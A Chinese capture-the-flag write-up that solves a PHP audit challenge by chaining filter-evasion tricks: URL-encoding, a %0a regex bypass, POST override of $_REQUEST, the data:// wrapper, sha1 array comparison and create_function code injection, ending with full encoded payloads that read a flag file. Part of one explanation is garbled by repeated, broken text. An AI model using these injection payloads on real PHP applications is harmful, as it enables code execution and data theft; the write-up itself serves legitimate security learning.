代码审计+ php 特性 +create_function代码注入 绕过

<?php
  highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
  if (
    preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
  )  
    die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
  if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
    $file = $_GET["file"]; 
    echo "Neeeeee! Good Job!<br>";
  } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
  foreach($_REQUEST as $value) { 
    if(preg_match('/[a-zA-Z]/i', $value))  
      die('fxck you! I hate English!'); 
  } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
  die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
  extract($_GET["flag"]);
  echo "Very good! you know my password. But what is flag?<br>";
} else{
  die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
   preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
  die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
  include "flag.php";
  $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
You seem to want to do something bad?

一道道if 来分析

url编码绕过

if($_SERVER) { 
  if (
    preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
  )  
    die('You seem to want to do something bad?'); 
}

全局变量 ,在输入的参数里面不能包含这个过滤的这些数据 ,但是这个 $_SERVER['QUERY_STRING’函数 可以使用url编码绕过

%0a 绕过 preg_match 函数

if (!preg_match('/http|https/i', $_GET['file'])) {
  if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
    $file = $_GET["file"]; 
    echo "Neeeeee! Good Job!<br>";
  } 
} else die('fxck you! What do you want to do ?!');

第一个if 传入file 不能带有 /http|https/i ,
第二个传入的debu 要匹配到这个aqua_is_cute ,但是后面的又不能进行匹配这个数据
然后这里使用了这个 preg_match 函数 ,这个又可以使用%0a绕过

debu=aqua_is_cute%0a

传入的file 要进行下面 联动

if (file_get_contents($file) !== 'debu_debu_aqua')
  die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

传入的值要等于 debu_debu_aqua
不然就会die

绕过$_REQUEST

if($_REQUEST) { 
  foreach($_REQUEST as $value) { 
    if(preg_match('/[a-zA-Z]/i', $value))  
      die('fxck you! I hate English!'); 
  } 
} 

这个$_REQUEST 一般包含了 _GET _POST _session 这 的数组。

foreach遍历 R E Q U E S T 数组,将值赋给 _REQUEST数组,将值赋给 REQUEST数组,将值赋给value,检测 v a l u e 是否包含字母,如果有则 d i e ( ) 。 < b r / > 假设我的 value是否包含字母,如果有则die()。<br />假设我的 value是否包含字母,如果有则die()<br/>假设我的_GET, P O S T 和 _POST和 POST_COOKIE使用相同的名称。 存储在$_REQUEST中的内容的优先级取决于php.ini里面的variables_order的取值,比如variables_order=‘GPC’,那么优先级就是 C O O K I E , _COOKIE, COOKIE_POST, G E T 。 v a r i a b l e s o r d e r 的默认值是 E G P C S ,所以 P O S T 的优先级比 G E T 高。 < b r / > 假设我的 _GET。variables_order的默认值是EGPCS,所以POST的优先级比GET高。<br />假设我的 GETvariablesorder的默认值是EGPCS,所以POST的优先级比GET高。<br/>假设我的_GET, P O S T 和 _POST和 POST_COOKIE使用相同的名称。 存储在$_REQUEST中的内容的优先级取决于php.ini里面的variables_order的取值,比如variables_order=‘GPC’,那么优先级就是 C O O K I E , _COOKIE, COOKIE_POST,$_GET。variables_order的默认值是EGPCS,所以POST的优先级比GET高,即最后解析POST的内容,先取get的值,然后判断有没有post的值,有的话就覆盖掉。
所以我们GET什么,也要POST一个一样的参数,但参数值换成数字就可以绕过了。因为我们GET了file和debu,所以我们需要POST传参:

debu=1&file=1

绕过

if (file_get_contents($file) !== 'debu_debu_aqua')
  die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

如果file 传入的值不等于 debu_debu_aqua 就 die
绕过 使用php伪协议 data

data://text/plain,debu_debu_aqua

sha1 数组绕过

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
  extract($_GET["flag"]);
  echo "Very good! you know my password. But what is flag?<br>";
} else{
  die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
shana[]=1&passwd[]=2

一个sha1 函数 直接使用数组会变成null null和null 比较 就是相等的

create_function代码注入

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
   preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
  die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
  include "flag.php";
  $code('', $arg); 
} ?>

code 不能带有小写字符和数字 和 那些过滤的命令执行代码 不然就die

create_function
(PHP 4 >= 4.0.1, PHP 5, PHP 7)
create_function — Create an anonymous (lambda-style) function

create_function第一个参数是匿名函数的参数列表,第二个参数是函数体里面的逻辑。看到$code(‘’, a r g ) ; ,想到可以控制 arg);,想到可以控制 arg);,想到可以控制code为create_function这样,只要控制$arg为恶意代码就可以植入匿名函数的逻辑。比如通过get传参:

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
code('', $arg);就可以翻译为:
create_function('', '}var_dump(get_defined_vars());//');
因为create_function('','')所创建的匿名函数的执行逻辑是:

function fT() {}
现在第二个参数变为}var_dump(get_defined_vars());//后,创建的匿名函数执行逻辑就变为:

function fT() {}var_dump(get_defined_vars());//}

为什么要用var_dump(get_defined_vars());呢?注意到include “flag.php”;,包含了flag.php文件,代表可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值,可以想到:是否存在一个函数,能输出所有变量的值?刚好get_defined_vars()用来输出所有变量和值。

初步最后的payload

debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//t

debu=1&file=1

image.png
这里要主要是得是 & = 等于不要url编码
image.png

POST /1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=%32&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f%74 HTTP/1.1
Host: 4004a9dd-744a-4041-bf21-78a1f3654056.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

debu=1&file=1

可以看见flag是rea1fl4g.php 文件
这里使用require 进行包含文件 但是这里过滤flag
使用php伪协议进行base编码输出

require(php://filter/conver.base64-encode/resource=rea1fl4g.php)

g过滤了filter 使用~ 取反绕过

<?php
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');

最后的payload

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data:,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

image.png

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值